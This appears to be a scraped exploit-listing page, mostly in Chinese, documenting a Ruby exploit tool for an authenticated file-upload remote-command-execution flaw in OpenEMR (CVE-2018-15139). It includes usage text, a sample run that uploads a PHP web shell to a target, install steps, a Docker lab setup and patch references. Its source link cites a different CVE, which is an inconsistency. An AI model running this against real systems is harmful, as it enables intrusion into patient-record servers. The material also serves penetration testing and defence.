## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-SEC-IT-EXPLOIT-CVE-2018-15139
# OpenEMR CVE-2018-15139 漏洞利用程序
> OpenEMR < 5.0.1.4 - (需认证)文件上传 - 远程命令执行
针对 CVE-2018-15139 的漏洞利用程序。
## 用法
root@kitploit:~
$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution
Source: https://github.com/sec-it/exploit-CVE-2019-14530
Usage:
exploit.rb exploit <url> <filename> <username> <password> [--debug]
exploit.rb -h | --help
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<filename> Filename of the shell to be uploaded
<username> Username of the admin
<password> Password of the admin
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb exploit http://example.org/openemr shell.php admin pass
exploit.rb exploit https://example.org:5000/ shell.php admin pass
## 示例
root@kitploit:~
$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php
## 环境要求
* httpx
* docopt.rb
使用 gem 的示例:
root@kitploit:~
bundle install
# or
gem install httpx docopt
## 使用 Docker 部署存在漏洞的软件
警告:当然,此配置不适合用于生产环境!
root@kitploit:~
$ sudo docker-compose up
官方 OpenEMR Docker 镜像中的上传文件夹权限存在问题,因此需要连接到容器并修复权限,例如:
root@kitploit:~
$ sudo docker exec -ti exploit-cve-2018-15139_openemr_1 /bin/sh
$ chmod u+w /var/www/localhost/htdocs/openemr/sites/default/images/
## 参考资料
* 目标软件:**OpenEMR**
* 主页:https://www.open-emr.org/
* 源码:https://github.com/openemr/openemr
* Docker:参见 `docker-compose.yml`
* 存在漏洞的版本:< 5.0.1.4(即最高至 5.0.1.3)
* 补丁:https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485
这是对 EDB-49998 的改进重写。
该漏洞由 Project Insecurity 发现。
对原始漏洞利用程序及该漏洞的分析:
* OpenEMR 修复了 Project Insecurity 发现的严重漏洞